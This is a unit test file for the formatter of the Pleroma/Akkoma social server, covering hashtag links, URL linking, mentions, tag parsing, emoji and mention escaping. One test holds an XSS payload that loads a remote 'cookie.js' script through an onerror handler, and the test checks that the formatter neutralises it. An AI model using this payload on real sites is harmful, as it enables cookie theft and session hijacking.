Fix queue name
[akkoma] / test / formatter_test.exs
1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
4
5 defmodule Pleroma.FormatterTest do
6 alias Pleroma.Formatter
7 alias Pleroma.User
8 use Pleroma.DataCase
9
10 import Pleroma.Factory
11
12 setup_all do
13 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
14 :ok
15 end
16
17 describe ".add_hashtag_links" do
18 test "turns hashtags into links" do
19 text = "I love #cofe and #2hu"
20
21 expected_text =
22 "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
23
24 tags = Formatter.parse_tags(text)
25
26 assert expected_text ==
27 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
28 end
29
30 test "does not turn html characters to tags" do
31 text = "Fact #3: pleroma does what mastodon't"
32
33 expected_text =
34 "Fact <a class='hashtag' data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
35
36 tags = Formatter.parse_tags(text)
37
38 assert expected_text ==
39 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
40 end
41 end
42
43 describe ".add_links" do
44 test "turning urls into links" do
45 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
46
47 expected =
48 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
49
50 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
51
52 text = "https://mastodon.social/@lambadalambda"
53
54 expected =
55 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
56
57 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
58
59 text = "https://mastodon.social:4000/@lambadalambda"
60
61 expected =
62 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
63
64 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
65
66 text = "@lambadalambda"
67 expected = "@lambadalambda"
68
69 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
70
71 text = "http://www.cs.vu.nl/~ast/intel/"
72 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
73
74 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
75
76 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
77
78 expected =
79 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
80
81 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
82
83 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
84
85 expected =
86 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
87
88 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
89
90 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
91
92 expected =
93 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
94
95 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
96
97 text = "https://en.wikipedia.org/wiki/Duff's_device"
98
99 expected =
100 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
101
102 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
103
104 text = "https://pleroma.com https://pleroma.com/sucks"
105
106 expected =
107 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
108
109 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
110
111 text = "xmpp:contact@hacktivis.me"
112
113 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
114
115 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
116
117 text =
118 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
119
120 expected = "<a href=\"#{text}\">#{text}</a>"
121
122 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
123 end
124 end
125
126 describe "add_user_links" do
127 test "gives a replacement for user links, using local nicknames in user links text" do
128 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
129 gsimg = insert(:user, %{nickname: "gsimg"})
130
131 archaeme =
132 insert(:user, %{
133 nickname: "archa_eme_",
134 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
135 })
136
137 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
138
139 mentions = Pleroma.Formatter.parse_mentions(text)
140
141 {subs, text} = Formatter.add_user_links({[], text}, mentions)
142
143 assert length(subs) == 3
144 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
145
146 expected_text =
147 "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
148 gsimg.ap_id
149 }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
150 archaeme.id
151 }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
152 archaeme_remote.id
153 }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
154
155 assert expected_text == Formatter.finalize({subs, text})
156 end
157
158 test "gives a replacement for user links when the user is using Osada" do
159 mike = User.get_or_fetch("mike@osada.macgirvin.com")
160
161 text = "@mike@osada.macgirvin.com test"
162
163 mentions = Formatter.parse_mentions(text)
164
165 {subs, text} = Formatter.add_user_links({[], text}, mentions)
166
167 assert length(subs) == 1
168 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
169
170 expected_text =
171 "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
172
173 assert expected_text == Formatter.finalize({subs, text})
174 end
175
176 test "gives a replacement for single-character local nicknames" do
177 text = "@o hi"
178 o = insert(:user, %{nickname: "o"})
179
180 mentions = Formatter.parse_mentions(text)
181
182 {subs, text} = Formatter.add_user_links({[], text}, mentions)
183
184 assert length(subs) == 1
185 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
186
187 expected_text =
188 "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
189
190 assert expected_text == Formatter.finalize({subs, text})
191 end
192
193 test "does not give a replacement for single-character local nicknames who don't exist" do
194 text = "@a hi"
195
196 mentions = Formatter.parse_mentions(text)
197
198 {subs, text} = Formatter.add_user_links({[], text}, mentions)
199
200 assert length(subs) == 0
201 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
202
203 expected_text = "@a hi"
204 assert expected_text == Formatter.finalize({subs, text})
205 end
206 end
207
208 describe ".parse_tags" do
209 test "parses tags in the text" do
210 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
211
212 expected = [
213 {"#Test", "test"},
214 {"#working", "working"},
215 {"#漢字", "漢字"},
216 {"#は", "は"}
217 ]
218
219 assert Formatter.parse_tags(text) == expected
220 end
221 end
222
223 test "it can parse mentions and return the relevant users" do
224 text =
225 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
226
227 o = insert(:user, %{nickname: "o"})
228 jimm = insert(:user, %{nickname: "jimm"})
229 gsimg = insert(:user, %{nickname: "gsimg"})
230 archaeme = insert(:user, %{nickname: "archaeme"})
231 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
232
233 expected_result = [
234 {"@gsimg", gsimg},
235 {"@archaeme", archaeme},
236 {"@archaeme@archae.me", archaeme_remote},
237 {"@o", o},
238 {"@jimm", jimm}
239 ]
240
241 assert Formatter.parse_mentions(text) == expected_result
242 end
243
244 test "it adds cool emoji" do
245 text = "I love :moominmamma:"
246
247 expected_result =
248 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
249
250 assert Formatter.emojify(text) == expected_result
251 end
252
253 test "it does not add XSS emoji" do
254 text =
255 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
256
257 custom_emoji = %{
258 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
259 "https://placehold.it/1x1"
260 }
261
262 expected_result =
263 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
264
265 assert Formatter.emojify(text, custom_emoji) == expected_result
266 end
267
268 test "it returns the emoji used in the text" do
269 text = "I love :moominmamma:"
270
271 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
272 end
273
274 test "it returns a nice empty result when no emojis are present" do
275 text = "I love moominamma"
276 assert Formatter.get_emoji(text) == []
277 end
278
279 test "it doesn't die when text is absent" do
280 text = nil
281 assert Formatter.get_emoji(text) == []
282 end
283
284 describe "/mentions_escape" do
285 test "it returns text with escaped mention names" do
286 text = """
287 @a_breakin_glass@cybre.space
288 (also, little voice inside my head thinking "maybe this will encourage people
289 pronouncing it properly instead of saying _raKEWdo_ ")
290 """
291
292 escape_text = """
293 @a\\_breakin\\_glass@cybre\\.space
294 (also, little voice inside my head thinking \"maybe this will encourage people
295 pronouncing it properly instead of saying _raKEWdo_ \")
296 """
297
298 mentions = [{"@a_breakin_glass@cybre.space", %{}}]
299 assert Formatter.mentions_escape(text, mentions) == escape_text
300 end
301 end
302 end